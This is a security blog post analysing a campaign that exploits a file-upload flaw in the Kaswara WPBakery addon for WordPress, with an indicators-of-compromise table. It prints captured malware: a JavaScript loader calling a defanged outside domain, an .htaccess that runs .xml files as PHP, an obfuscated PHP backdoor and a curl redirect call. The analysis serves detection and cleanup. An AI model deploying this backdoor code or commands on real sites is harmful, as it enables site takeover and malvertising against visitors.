Vulnerable Kaswara Modern WPBakery Page Builder Addons Plugin Being Exploited in the Wild

Back on April 20th, 2021, our friends at WPScan reported a severe vulnerability on Kaswara Modern VC Addons, also known as Kaswara Modern WPBakery Page Builder Addons. It is not available anymore at Codecanyon/Envato, meaning that if you have this running, you must choose an alternative.

This vulnerability allows unauthenticated users to upload arbitrary files to the plugin’s icon directory (./wp-content/uploads/kaswara/icons). This is the first Indicator Of Compromise (IOC) our friends at WPScan shared with us in their report.

The ability to upload arbitrary files to a website gives the bad actor full control over the site, which makes it hard to define the final payload of this infection; thus, we’ll show you everything we found so far (we got a little carried away on the research, so feel free to jump to the IOC section if you don’t want to read through).

Database Injection, Fake Android apps, and other backdoors

Thanks to our friend Denis Sinegubko from Sucuri for pointing out the database injection follow up used with this attack.

Bad actors would update the ‘kaswara-customJS’ option to add an arbitrary malicious snippet of Javascript code. Here’s one example we found:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',

This base64 encoded string translates to:

var script = document.createElement(\'script\');
script.onload = function() {
script.src = \"hxxps://evadav[.]link/script.js\";

And as usually happens with this type of script, it will chain load a series of other Javascript code snippets, and the final payload will be either a malvertising or an exploit kit. This is very similar to what Wordfence reported here.

In this case, the script is dying on hxxp://double-clickd[.]com/ and not loading any bad content. I found suspicious Javascript calling this site since early 2020 and people have already been blocking it since 2018.

Fake Apps uploaded to the site

The 40 Android apps found on websites we examined were fake versions of different apps, like AliPay, PayPal, Correos, DHL, and many others, which were luckily being detected by the most popular Anti-Virus vendors according to this VirusTotal analysis.

VirusTotal results on one of the APK files found on a compromised site

I didn’t check the intentions of the app, but a quick review on the permissions it requests can give us a glimpse of what it could do:

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.INTERNET
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

Those files are not being immediately uploaded using the Kaswara exploit, though. After the site is compromised the attackers will upload other tools first to fully control the site.

Uploaded files

Some backdoors and other malware were also found on websites compromised by this vulnerability. I’ll share a quick analysis of the most popular and interesting ones in this post. However, I want to first focus on the most complex one.

Redirect and Fake apps

The fake Apps I found on several compromised sites were not uploaded by exploiting the Kaswara vulnerability. They are being uploaded to the site using a multi-function hacktool, which allows the attacker to upload some remote code (by providing an URL or string), and redirect the user to a malicious site.

The file can be easily identified by the presence of this string: base64_decode('MTIz');error_reporting(0);function

Interestingly enough it randomizes everything else but this.

The malware is on a single line, which is also an interesting IOC if you are looking for this type of code anomaly.

c.php malware with full encode

To make it easier to understand, I decoded most parts of the code, renamed the interesting functions and beautified the code. The malware includes 6 different functions, and 5 of them are based on the values passed on the $_GET['ts'] variable. For this document, let’s consider one of the many instances I found: c.php.


This does nothing and it’ll force the site to return a 500 error (later on the code).


Changes the $q1a flag value to true to perform a code validation and output an OK message to the attacker. 

In this case the remote site answers: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}


Writes a file on the server with code provided by the contents of  $_GET["v"] as long as $_GET["p"] is the SHA1 checksum of 123 (remember that first IOC of base64_decode('MTIz')? this is that checksum).


Writes 5 MB of “-” on the server, probably used to test if the upload function will work on the server.


When the malware receives this request it performs a test to verify if uploaded files were successfully written to the server. Their MD5 hashes must be known and are sent to $_GET['h'] variable as comma separated values.


Downloads a file from a series of third-party websites and saves it on the server naming it after the last 12 characters of the md5 of the downloaded file.

This is the function being used to upload fake apps to the server.

Here’s an example of the request to download malicious files /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&

Redirecting access

If the kt option or no option was selected, the code proceeds to the redirect, which is achieved by requesting a JSON blob with the needed data. It then proceeds to redirect the visitor using the header function.

The response is like this: {"body":"","headers":["Location: https:\/\/\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

The function to execute a cURL request with the needed parameters is this one: Nothing fancy…

And it can be translated to this cURL request:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For:' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&'

The final URL is, as far as I could test, random, but sharing the same characteristic of being a fake page for a popular service or app.

wp-content/uploads/kaswara/icons/16/javas.xml and wp-content/uploads/kaswara/icons/16/.htaccess

An XML file is not usually marked as a potential threat, but in this case, we have a specially crafted .htaccess file that changes how the webserver sees it:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all

In fact, it tells Apache to understand any javas, homes, or menus files with xml, php, or pdf as a PHP file to be processed accordingly and executed. So, any of those files present in the same directory structure as this .htaccess will be suspicious.

The javas.xml file is the same as some other malicious files uploaded to the site. I found the difference is that some have one or two blank lines at the end of the file, which makes traditional hashing a little trickier.

$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

The malicious code is obfuscated using str_rot13 and base64 encoded strings. It also uses hexadecimal values and math operations to hide the strings a little more. The final payload is unknown since it will create a function based on the values of a POST request. However, the payload seems to be the same every time since it relies on a md5 check before creating it (c42ea979ed982c02632430e9e98a66d6 is the md5 hash).

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Since this is an active campaign, at the time of writing this post we’re finding more and more different malware examples being dropped in the affected sites. Some are just variations of what we have here, while others are interesting enough for a deeper analysis. Look for some smaller posts coming soon to explore some of these other examples.

This illustrates the importance of having your extensions updated with the latest security fixes; if the developers don’t release fixes in a timely manner or it gets removed from the repository (or other marketplaces), we strongly recommend that you find a safer alternative to it.

If you are concerned about malware and vulnerability for your site, check out Jetpack’s security features. Jetpack Security provides easy‑to‑use, comprehensive WordPress site security including backups, malware scanning, and spam protection.

Indicators of Compromise

Here you find the complete list of all IOCs we identified:

Hash (SHA-1)PathThreat description
754ee56344b190a7240732eabd43ef8f2e8bace9./2f31eab3b335Fake Android App
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7./28052809bdd7Fake Android App
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd./ce52e434cdedFake Android App
b354b2193e13956747cf3cf1268caaa9ae9601a0./c016456e66cdFake Android App
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466./5d64d12229cfFake Android App
886ce65890fb467f8843ba4de782cb65966ef801./47e3bdf4ac71Fake Android App
e2314e2de6e12aa6a600fbc538d75c37b7651b7b./026ec4ebebfeFake Android App
970a29c4322e70ac820f181ff64e9089b6ce69ca./5610ec2e788cFake Android App
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62./9be9954a7c0aFake Android App
423d83a87a3833440f6b810967795876b83b7a90./34b0ea9d688eFake Android App
455000cc6fa2693d4ef9cdd1f0e551c720a660f0./7986aa5f641bFake Android App
f1a3f3ffa13a98e75da208aa151910052a2893f6./648cabbe0afaFake Android App
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6./20f9849711ccFake Android App
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3./75002db259eaFake Android App
8a2cb8808b11c7d24a5111501aed3e4494e4b292./0c7e4e6a39ebFake Android App
f43e3c2cd746f245ac9f38272a81fe1bab1ce415./7237cd011f42Fake Android App
f210df00ee1978fc3eda3bc5759d2f7627950c20./3186fb436daeFake Android App
b9c2dc421010fb1f273ae40f176da4854830e6b8./04d2e95f9573Fake Android App
8484f4bcba9a8ad5f2a451ee8a541929d80400cc./34b67b93da5eFake Android App
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6./502ba128d12cFake Android App
eb41990973aa178d156a83050d34ad9831f66567./2501a5736f6eFake Android App
814178f5442be9e748769d61342e33b66ae119f6./ddb83c37197fFake Android App
edc53993d4f37286985374f6ebbe29815c42b61c./2e0ed75c116bFake Android App
6c014dca61b1cd3e6981a731808317d7e931fc94./5f6ec9795436Fake Android App
295d49d596b5d062de7d52548ded91284b67ef6a./7ed8c17a7cd7Fake Android App
c83b20deb16bb1d47a6137b99b7230d707b2a1dc./4b30e0221c16Fake Android App
6c709124972f6506bd7562ebe4b2567e7dfb7b75./0faa25f73e3cFake Android App
816a5ad37b5e1bf7e069969f10f0af41d4ba492f./a64122f493dcFake Android App
a04651dd95f74a074150bcfe7f6535b0542c8f63./3980315c7daaFake Android App
9d9c89268e5158f93b3b0accb387314133d5e719./da15f8061ab2Fake Android App
ce8dfe115d9546197d57c9cc9f93abb513aadf4a./715b3f4ed70dFake Android App
2b61271653b8bd82016ce743cabca8c48444f2c8./f8c2f1514938Fake Android App
1d8f259a424c2f7b6441b7ab568623ef762a5325./ea40ee4cea57Fake Android App
21f070e33da3a574526817eede699798e59971c1./73b6daad56b6Fake Android App
de364006dc140251a90adf8ddfd23b00d4c494c5./a70ce1c2d003Fake Android App
1c0bd522cb786e8697bb907f8771c66d991d672c./4c63cfe07251Fake Android App
a36c3667be58efa50441418b58b5487d873b5d63./067fd1c69444Fake Android App
8c21c99670e9158f12ac88feba2e87aaa93b41f0./57fd16f4719dFake Android App
31285841768b43a5973b268df2a761055f25b25f./14834dab2dd7Fake Android App
d3ee06b4c26f7c59b6248f50c8d272e002180d7a./28b655b495a9Fake Android App
8639df09b4ec97c084ed2be1a914b540eb8ab29e./c.phpDropped malware
95217d8c55b9a83aea2e7d030388daba1e49e27e./medovq.phpDropped malware
2831ea2f80e71f07c408133986cca2558106b9fc/wp-content/uploads/kaswara/icons/kntl/img.phpPHP file uploader
0fd64ada7454cf1d2640e8f45ea42ca292b3a461wp-content/uploads/kaswara/icons/kntl/cc.phpDropped malware
da39a3ee5e6b4b0d3255bfef95601890afd80709wp-content/uploads/kaswara/icons/16/icons.phpRemote Code Execution malware
d51366d5062e7fd4d1422a59e75b585053643549wp-content/uploads/kaswara/icons/brt/t.phpDropped malware
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0./wp-content/siteindex.phpDropped malware
7464d78fd5022a54203c2c63b80096ce96932422./wp-content/uploads/kaswara/fonts_icon/test2/index.phpDropped malware
6b763826e285aa96cc4a443edc9f7b8637fa4fd4./wp-content/uploads/kaswara/fonts_icon/test3/index.phpDropped malware
486ea7a58e28d9f112eb566711d0d8b594f6b238./wp-content/uploads/kaswara/fonts_icon/test3/log.zipDropped malware
8b425ee35d253bc891ef9d44a64f20f0b105e4f4./wp-content/uploads/kaswara/fonts_icon/test2/log.zipDropped malware
5dd9180835cfbc85e56f25a71977a6fc6a256b35./wp-content/themes/admindex.phpDropped malware
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc./wp-booking.phpDropped malware
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6./icons/icons.phpRemote Code Execution malware
f7c7fc098575895d9e27b04108ee481b84285aaf./icons/yrecyt.phpDropped malware
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447./xeh02b.php or ./wp-content/uploads/xeh02b.phpDropped malware
64e1b82b8e1fae20fa846b0003c877bc454c00b8./icons/pewegy.phpDropped malware
1926459cbe6f3fae524d5c1aa966a023b9def873./icons/icons.phpRemote Code Execution malware
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3./wp-craft/scr.phpDropped malware
wp-content/uploads/kaswara/icons/16/javas.xmlRemote Code Execution malware
smurfetta.ruMalicious domain
http://papass.ruMalicious domain
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